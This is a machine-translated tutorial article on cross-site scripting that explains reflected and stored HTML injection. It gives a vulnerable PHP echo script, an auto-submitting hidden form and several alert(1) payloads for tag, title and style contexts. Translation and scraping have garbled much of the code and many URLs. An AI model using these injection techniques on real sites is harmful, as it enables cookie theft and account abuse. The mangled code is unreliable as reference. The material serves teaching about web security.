XSS in-depth analysis (2)

This article: http://www.bkjia.com/Article/200902/31919.html

The name of a Cross-Site Script originates from the fact that a Web site (or person) they can inject their selected code across the security line into another different, vulnerable Web site. When the injected code is executed in the victim's browser as the code of the target site, attackers can steal the sensitive data and force the user to do unintended tasks.
In the previous article, we will detail the security measures adopted by current Web applications, such as same-origin policy, cookie security model, and Flash security model; this article introduces the process of cross-site scripting vulnerability exploitation and provides an in-depth analysis of HTML injection.
Cross-Site Scripting Vulnerability exploitation process
Now that you are familiar with various security technologies in the browser, we will try to use XSS to circumvent these security technologies. The main objective of XSS is to inject (into) some Web Applications JavaScript, VBScript, or other scripting languages accepted by the browser. As long as an attacker can implant a script in any part of a vulnerable Web application, the browser will think that the script is from a vulnerable Web application, not from the attacker.
In this way, the script can run in the domain of the vulnerable Web application and perform the following activities: the script has the right to read the Cookie used by the vulnerable Web application; the content of pages provided by vulnerable Web applications can be seen, and even sent to hackers; the appearance of vulnerable Web applications can be changed; the server that calls back to the Web application that has vulnerabilities.
In general, cross-site scripting attacks can be divided into three steps:
1. HTML injection. We will introduce various possible methods for injecting scripts into Web applications. All HTML injection examples only inject a JavaScript pop-up warning box: alert (1 ).
2. Do bad things. If you think the warning box is not exciting enough, we will discuss the various malicious tasks that attackers can do when the victim clicks a page Link injected with HTML code.
3. Capturing victims. We discuss how to force or trick victims into executing malicious JavaScript code.
1. Introduction to HTML Injection
There are too many ways to inject HTML and (more important) script code into Web applications. If the content entered in the HTTP request is "copied" in the HTTP Response of a Web application, such as angle brackets, Parentheses, periods, and equal signs, the Web application and domain have the HTML injection vulnerability, which can be used in XSS.
This section describes the most common HTML injection methods, but does not cover all of them, because these methods are too many. For most small-to medium-sized websites, these technologies may still work. With patience, you may also be able to use one of the technologies to successfully apply to a large Web site.
Next we will introduce various injection methods in different categories.
Ii. Traditional reflection and storage-type HTML Injection
Traditional XSS attacks are reflection-type HTML injection attacks. Therefore, a Web application receives user input in HTTP requests. The Web application returns an HTTP response, and the body will contain the original user input. If the server's response is exactly the same as the user's original input, the user input will be interpreted by the browser as valid HTML, VBScript, or JavaScript. Consider the following server-side PHP code:
Figure 1 shows how this code is placed in the [url] http://publicpages.daxue.edu /~ The page content displayed on the client after someuser/MyPhp. php [/url.
[Img] http://up.2cto.com/article/200903/20090313082827404.jpg#/img]
Figure 1 a simple PHP script to receive user input (MyPhp. php)
When you click "Submit query", the following GET request is generated:
Http://public-pages.daxue.edu /~ Someuser/MyPhp. php? Input = hahaha
After this PHP application sees the user-input "hahaha", it will respond to a page, as shown in figure 2.

　　
Figure 2 response of MyPhp. php after the user inputs "hahaha"
The following shows the HTML source code of the page shown in Figure 2. For the sake of eye-catching, the content entered by the user is displayed in blue.
The content you entered is: "hahaha ".
Note: In fact, you can enter anything here, such as <script> alert (1) </script> and <body onload = alert (1) >, , or something else to inject JavaScript code into this page. If entered, the following GET request will be sent to the server:
Http://publicpages.daxue.edu /~ Someuser/MyPhp. php? Input =
As mentioned above, this PHP application only places user input in the response page returned. At this time, the browser will regard the content entered by these users as JavaScript commands and think that the script is from the server. This is really because of the old saying "taking chicken feathers as an arrow, so the browser will execute the JavaScript code. Figure 3 shows what the user sees.

　　
Figure 3 MyPhp. php response after the user inputs ""
The source code of the page displayed in is as follows, in which the user input is represented in blue.
The content you entered is :"".
This will inject http://public-pages.daxue.edu /~ The result obtained by someuser/MyPhp. php. This example is a typical reflection-type HTML injection, because the user sends JavaScript code in the HTTP request, and the Web application immediately responds (reflection back) to a completely identical JavaScript code. The script is executed as long as the user clicks the following link:
Http://publicpages.daxue.edu /~ Someuser/MyPhp. php? Input =
From the attacker's point of view, it is very important to use the injected ML code to allow malicious web pages to complete clicks or a specified number of clicks. Assume that the preceding PHP application only accepts POST requests instead of GET requests, as shown below:
[Table = 95%] [tr] [td] <Body>
<? Php
If (isset ($ _ POST {UserInput })){
$ Out = the content you entered is: ". $ _ POST {UserInput }.".;
} Else {
$ Out = <form method = "POST"> enter the following content here :;
$ Out. = <input name = "UserInput" size = "50">;
$ Out. = <input type = "submit">;
$ Out. = </form>;
}
Print $ out;
? >
</Body>
</Html> [/td] [/tr] [/table]
In this case, attackers cannot directly trick victims into clicking a link to inject HTML code like the GET request above; now they must take some additional steps. Therefore, attackers can create the following HTML pages:
<Html>
<Body>
<Form name = "evilForm" method = "POST ction =" http: // publicpages.
Daxue.edu /~ Someuser/MyPhp. php ">
<Input type = "hidden" name = "input" value = "<script> alert (1) </script>"> 〉"〉
<Script>
Document. evilForm. submit ()
</Script>
</Body>
</Html>

When a user clicks a link to the above HTML page, the http://public-pages.daxue.edu /~ Someuser/MyPhp. php for HTML injection. Of course, attackers can also exploit HTML injection to do other bad things, instead of simply calling a JavaScript pop-up window symbolically. The "Step 2: Do bad things" section explains what attackers can do in addition to a pop-up window.
Stored HTML injection is very similar to reflected HTML injection. The only difference is that after attackers implant scripts into Web applications, these scripts will be stored in a searchable place by Web applications. For example, for online forums that allow users to post and read messages, attackers can inject HTML code when posting messages. When other users read the messages containing scripts, the script is executed.
Iii. Positioning storage and reflection HTML injection points
To search for storage and reflection HTML injection points, you can try to inject scripts into all form input and all parameters of the GET or POST request. We need to assume that values in the parameter/value pair may have vulnerabilities. Even try to inject HTML code into new parameters, as shown below:
<Script> alert (parameter) = does not work because these test strings do not appear in the HTML subject area of the response. For example, if you want to http://search.engine.com/search? P = In the response returned by the request, the pre-filled form field contains our HTML injection string, such:
Unfortunately, the script tag will be used as a string for form input fields, so it cannot be executed. Instead, try http://search.engine.com/search? P = "> The following HTML response is returned:
<Form input = "text" name = "p" value = "<, attackers cannot inject the following content:
</Title> <script> alert (1) </script> 〉
In this way, the title tag is removed. USERINPUT3 is placed in a style label. Anyone can set USERINPUT3 in IE as follows:
Black; background: url (javascript: alert (1 ));
So he can use it in Firefox:
1: expression (alert (1 ))
Similarly, sometimes user input will appear in style parameters as part of other labels, as shown below:
If you can set USERINPUT3 to the following values, you can run JavaScript in IE:
Javascript: alert (1)
Or for Visual Basic